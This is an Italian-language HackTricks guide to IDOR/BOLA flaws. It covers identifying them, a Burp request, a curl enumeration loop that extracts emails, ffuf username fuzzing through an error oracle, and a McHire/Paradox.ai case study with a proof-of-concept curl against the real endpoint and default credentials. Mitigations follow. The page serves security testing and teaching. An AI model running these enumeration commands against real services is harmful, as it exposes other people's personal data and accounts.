IDOR (Insecure Direct Object Reference)

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API divulga o accetta un identificatore controllabile dall'utente che viene usato direttamente per accedere a un oggetto interno senza verificare che il chiamante sia autorizzato ad accedere/modificare quell'oggetto. Un exploit riuscito normalmente permette escalation di privilegi orizzontale o verticale, come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, takeover completo degli account o esfiltrazione di massa dei dati.

1. Identificazione dei potenziali IDOR

  1. Cerca parametri che fanno riferimento a un oggetto:
  • Percorso: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Header / Cookie: X-Client-ID: 4711
  1. Preferisci endpoint che leggono o aggiornano dati (GET, PUT, PATCH, DELETE).
  2. Nota quando gli identificatori sono sequenziali o prevedibili – se il tuo ID è 64185742, allora 64185741 probabilmente esiste.
  3. Esplora flussi nascosti o alternativi (es. il link "Paradox team members" nelle pagine di login) che potrebbero esporre API aggiuntive.
  4. Usa una sessione autenticata con privilegi bassi e cambia solo l'ID mantenendo lo stesso token/cookie. L'assenza di un errore di autorizzazione è solitamente un segnale di IDOR.

Tampering manuale rapido (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumerazione automatica (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Oracle di risposta d'errore per l'enumerazione di utenti/file

Quando un endpoint di download accetta sia un username che un filename (es. /view.php?username=<u>&file=<f>), sottili differenze nei messaggi di errore spesso creano un oracle:

  • Username inesistente → "User not found"
  • Filename errato ma estensione valida → "File does not exist" (a volte elenca anche i file disponibili)
  • Estensione non valida → errore di validazione

Con qualsiasi sessione autenticata, puoi fare fuzz sul parametro username mantenendo un filename benigno e filtrare sulla stringa "user not found" per scoprire utenti validi:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Una volta identificati nomi utente validi, richiedere file specifici direttamente (es., /view.php?username=amanda&file=privacy.odt). Questo pattern porta comunemente alla divulgazione non autorizzata dei documenti di altri utenti e a credential leakage.

2. Caso di studio reale – McHire Chatbot Platform (2025)

Durante la valutazione del portale di recruitment McHire, powered da Paradox.ai, è stato scoperto il seguente IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie per qualsiasi account di test del ristorante
  • Body parameter: {"lead_id": N} – identificatore numerico di 8 cifre, sequenziale

Diminuendo lead_id il tester ha recuperato i full PII di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) oltre a un consumer JWT che ha permesso session hijacking. L'enumerazione dell'intervallo 1 – 64,185,742 ha esposto approssimativamente 64 milioni di record.

Richiesta Proof-of-Concept:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinata con default admin credentials (123456:123456) che concedevano accesso all'account di test, la vulnerabilità ha causato una violazione dei dati critica a livello aziendale.

3. Impatto di IDOR / BOLA

  • Escalation orizzontale – lettura/aggiornamento/cancellazione dei dati di altri utenti.
  • Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate agli admin.
  • Violazione massiva dei dati se gli identificatori sono sequenziali (es. ID dei candidati, fatture).
  • Dirottamento di account rubando token o reimpostando le password di altri utenti.

4. Mitigazioni & Best Practices

  1. Applicare l'autorizzazione a livello di oggetto ad ogni richiesta (user_id == session.user).
  2. Preferire identificatori indiretti e non indovinabili (UUIDv4, ULID) invece di ID auto-incrementali.
  3. Eseguire l'autorizzazione server-side, non fare mai affidamento su campi form nascosti o controlli UI.
  4. Implementare controlli RBAC / ABAC in un middleware centrale.
  5. Aggiungere rate-limiting & logging per rilevare l'enumerazione degli ID.
  6. Testare la sicurezza di ogni nuovo endpoint (unit, integration e DAST).

5. Strumenti

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks